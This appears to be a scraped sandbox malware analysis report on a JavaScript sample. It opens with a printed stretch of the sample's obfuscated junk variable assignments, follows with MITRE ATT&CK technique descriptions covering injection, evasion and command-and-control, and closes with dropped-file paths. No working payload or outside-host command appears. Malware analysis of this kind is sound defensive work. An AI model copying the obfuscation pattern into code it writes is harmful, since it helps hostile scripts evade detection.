1125	aogyhj = "N";
1126	aogyhj = "J";
1127	aogyhj = "L";
1128	aogyhj = "Q";
1129	aogyhj = "P";
1130	aogyhj = "S";
1131	aogyhj = "K";
1132	aogyhj = "Y";
1133	aogyhj = "j";
1134	aogyhj = "o";
1135	aogyhj = "g";
1136	aogyhj = "J";
1137	aogyhj = "V";
1138	aogyhj = "W";
1139	aogyhj = "Q";
1140	aogyhj = "Q";
1141	aogyhj = "M";
1142	aogyhj = "E";
1143	aogyhj = "z";
1144	aogyhj = "W";
1145	qexytdye = "f";
1146	qexytdye = "x";
1147	qexytdye = "y";
1148	qexytdye = "W";
1149	qexytdye = "e";
1150	qexytdye = "u";
1151	qexytdye = "s";
1152	qexytdye = "h";
1153	qexytdye = "y";
1154	qexytdye = "l";
1155	qexytdye = "n";
1156	qexytdye = "E";
1157	qexytdye = "j";
1158	qexytdye = "M";
1159	qexytdye = "V";
1160	qexytdye = "e";
1161	qexytdye = "E";
1162	qexytdye = "p";
1163	qexytdye = "N";
1164	qexytdye = "t";
1165	qexytdye = "D";
1166	qexytdye = "i";
1167	qexytdye = "w";
1168	qexytdye = "B";
1169	qexytdye = "Y";
1170	qexytdye = "u";
1171	qexytdye = "D";
1172	qexytdye = "C";
1173	jssilbq = "f";
1174	jssilbq = "R";
1175	jssilbq = "o";
1176	jssilbq = "y";
1177	jssilbq = "k";
1178	jssilbq = "L";
1179	jssilbq = "T";
1180	jssilbq = "u";
1181	jssilbq = "l";
1182	jssilbq = "y";
1183	jssilbq = "n";
1184	jssilbq = "S";
1185	jssilbq = "v";
1186	jssilbq = "p";
1187	jssilbq = "Z";
1188	jssilbq = "N";
1189	jssilbq = "T";
1190	jssilbq = "N";
1191	jssilbq = "x";
1192	jssilbq = "P";
1193	jssilbq = "C";
1194	jssilbq = "u";
1195	jssilbq = "y";
1196	jssilbq = "U";
1197	jssilbq = "T";
1198	jssilbq = "P";
1199	jssilbq = "y";
1200	jssilbq = "K";
1201	jssilbq = "z";
1202	jssilbq = "X";
1203	jssilbq = "H";
1204	jssilbq = "B";
1205	jssilbq = "i";
1206	jssilbq = "k";
1207	vaxuxjxks = "b";
1208	vaxuxjxks = "P";
1209	vaxuxjxks = "Z";
1210	vaxuxjxks = "I";
1211	vaxuxjxks = "q";
1212	vaxuxjxks = "P";
1213	vaxuxjxks = "I";
1214	vaxuxjxks = "d";
1215	vaxuxjxks = "o";
1216	vaxuxjxks = "e";
1217	vaxuxjxks = "t";
1218	vaxuxjxks = "x";
1219	vaxuxjxks = "p";
1220	dtqiozxtc = "e";
1221	dtqiozxtc = "n";
1222	dtqiozxtc = "u";
1223	dtqiozxtc = "b";
1224	dtqiozxtc = "M";
1225	dtqiozxtc = "X";
1226	dtqiozxtc = "y";
1227	dtqiozxtc = "n";
1228	dtqiozxtc = "R";
1229	dtqiozxtc = "A";
1230	dtqiozxtc = "b";
1231	dtqiozxtc = "i";
1232	dtqiozxtc = "T";
1233	dtqiozxtc = "j";
1234	dtqiozxtc = "x";
1235	dtqiozxtc = "m";
1236	kenspd = "H";
1237	kenspd = "y";
1238	kenspd = "H";
1239	kenspd = "k";
1240	kenspd = "o";
1241	kenspd = "Z";
1242	kenspd = "X";
1243	kenspd = "c";
1244	qwtoxsf = "C";
1245	qwtoxsf = "p";
1246	qwtoxsf = "b";
1247	qwtoxsf = "X";
1248	qwtoxsf = "o";
1249	qwtoxsf = "g";
1250	qwtoxsf = "t";
1251	qwtoxsf = "Q";
1252	qwtoxsf = "Z";
1253	qwtoxsf = "l";
1254	qwtoxsf = "z";
1255	qwtoxsf = "P";
1256	qwtoxsf = "T";
1257	qwtoxsf = "r";
1258	qwtoxsf = "T";
1259	qwtoxsf = "q";
1260	qwtoxsf = "U";
1261	qwtoxsf = "v";
1262	qwtoxsf = "M";
1263	qwtoxsf = "x";
1264	qwtoxsf = "q";
1265	qwtoxsf = "b";
1266	qwtoxsf = "N";
1267	qwtoxsf = "g";
1268	qwtoxsf = "Q";
1269	qwtoxsf = "w";
1270	qwtoxsf = "Y";
1271	qwtoxsf = "o";
1272	qwtoxsf = "k";
1273	qwtoxsf = "z";
1274	qwtoxsf = "v";
1275	hqpfmz = "B";
1276	hqpfmz = "v";
1277	hqpfmz = "k";
1278	hqpfmz = "a";
1279	hqpfmz = "p";
1280	hqpfmz = "I";
1281	hqpfmz = "q";
1282	hqpfmz = "W";
1283	hqpfmz = "Q";
1284	hqpfmz = "Y";
1285	hqpfmz = "P";
1286	hqpfmz = "t";
1287	hqpfmz = "T";
1288	hqpfmz = "U";
1289	hqpfmz = "y";
1290	hqpfmz = "X";
1291	hqpfmz = "W";
1292	hqpfmz = "C";
1293	hqpfmz = "Y";
1294	hqpfmz = "u";
1295	hqpfmz = "Y";
1296	hqpfmz = "m";
1297	hqpfmz = "q";
1298	hqpfmz = "a";
1299	ibkjlj = "Y";
1300	ibkjlj = "i";
1301	ibkjlj = "t";
1302	ibkjlj = "H";
1303	ibkjlj = "n";
1304	ibkjlj = "f";
1305	ibkjlj = "-";
1306	jgzrzdice = "B";
1307	jgzrzdice = "Z";
1308	jgzrzdice = "O";
1309	jgzrzdice = "o";
1310	jgzrzdice = "c";
1311	jgzrzdice = "c";
1312	jgzrzdice = "o";
1313	jgzrzdice = "n";
1314	jgzrzdice = "E";
1315	jgzrzdice = "t";
1316	jgzrzdice = "Q";
1317	jgzrzdice = "U";
1318	jgzrzdice = "b";
1319	jgzrzdice = "b";
1320	jgzrzdice = "w";
1321	jgzrzdice = "K";
1322	jgzrzdice = "G";
1323	jgzrzdice = "I";
1324	jgzrzdice = "e";
1325	baxcs = "P";
1326	baxcs = "y";
1327	baxcs = "Y";
1328	baxcs = "O";
1329	baxcs = "n";
1330	baxcs = "W";
1331	baxcs = "r";
1332	baxcs = "p";
1333	baxcs = "F";
1334	baxcs = "s";
1335	baxcs = "m";
1336	baxcs = "F";
1337	baxcs = "O";
1338	baxcs = "P";
1339	baxcs = "c";
1340	baxcs = "v";
1341	baxcs = "v";
1342	baxcs = "M";
1343	baxcs = "B";
1344	baxcs = "r";
1345	qkavyohll = "G";
1346	qkavyohll = "p";
1347	qkavyohll = "R";
1348	qkavyohll = "m";
1349	qkavyohll = "i";
1350	qkavyohll = "w";
1351	qkavyohll = "q";
1352	qkavyohll = "C";
1353	qkavyohll = "n";
1354	qkavyohll = "S";
1355	qkavyohll = "D";
1356	qkavyohll = "A";
1357	qkavyohll = "U";
1358	qkavyohll = "g";
1359	qkavyohll = "x";
1360	qkavyohll = "N";
1361	qkavyohll = "h";
1362	qkavyohll = "r";
1363	qkavyohll = "U";
1364	qkavyohll = "n";
1365	qkavyohll = "I";
1366	qkavyohll = "v";
1367	qkavyohll = "Q";
1368	qkavyohll = "E";
1369	qkavyohll = "Y";
1370	qkavyohll = "V";
1371	qkavyohll = "w";
1372	qkavyohll = "u";
1373	qkavyohll = "n";
1374	qkavyohll = "D";
1375	qkavyohll = "K";
1376	qkavyohll = "w";
1377	qkavyohll = "R";
1378	qkavyohll = "M";
1379	qkavyohll = "W";
1380	qkavyohll = "a";
1381	qkavyohll = "c";
1382	qkavyohll = "z";
1383	qkavyohll = "C";
1384	qkavyohll = "M";
1385	qkavyohll = "8";
1386	nzjitjr = "l";
1387	nzjitjr = "z";
1388	nzjitjr = "B";
1389	nzjitjr = "w";
1390	nzjitjr = "N";
1391	nzjitjr = "W";
1392	nzjitjr = "T";
1393	nzjitjr = "G";
1394	nzjitjr = "B";
1395	nzjitjr = "g";
1396	nzjitjr = "o";
1397	nzjitjr = "A";
1398	nzjitjr = "Q";
1399	nzjitjr = "b";
1400	nzjitjr = "l";
1401	nzjitjr = "o";
1402	nzjitjr = "s";
1403	nzjitjr = "l";
1404	nzjitjr = "G";
1405	nzjitjr = "q";
1406	nzjitjr = "A";
1407	nzjitjr = "B";
1408	nzjitjr = "t";
1409	nzjitjr = "x";
1410	nzjitjr = "D";
1411	nzjitjr = "C";
1412	nzjitjr = "e";
1413	nzjitjr = "T";
1414	jvzyvhadz = "H";
1415	jvzyvhadz = "o";
1416	jvzyvhadz = "J";
1417	jvzyvhadz = "y";
1418	jvzyvhadz = "V";
1419	jvzyvhadz = "H";
1420	jvzyvhadz = "x";
1421	jvzyvhadz = "U";
1422	jvzyvhadz = "K";
1423	jvzyvhadz = "q";
1424	jvzyvhadz = "f";
1425	jvzyvhadz = "E";
1426	jvzyvhadz = "l";
1427	jvzyvhadz = "H";
1428	jvzyvhadz = "C";
1429	jvzyvhadz = "m";
1430	jvzyvhadz = "h";
1431	jvzyvhadz = "F";
1432	jenrmlzlo ( );	jenrmlzlo() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2151829461519612017.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\41dd7838-9b66-46fe-8459-3cebe6d537e9.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1460

Windows Analysis Report
2151829461519612017.js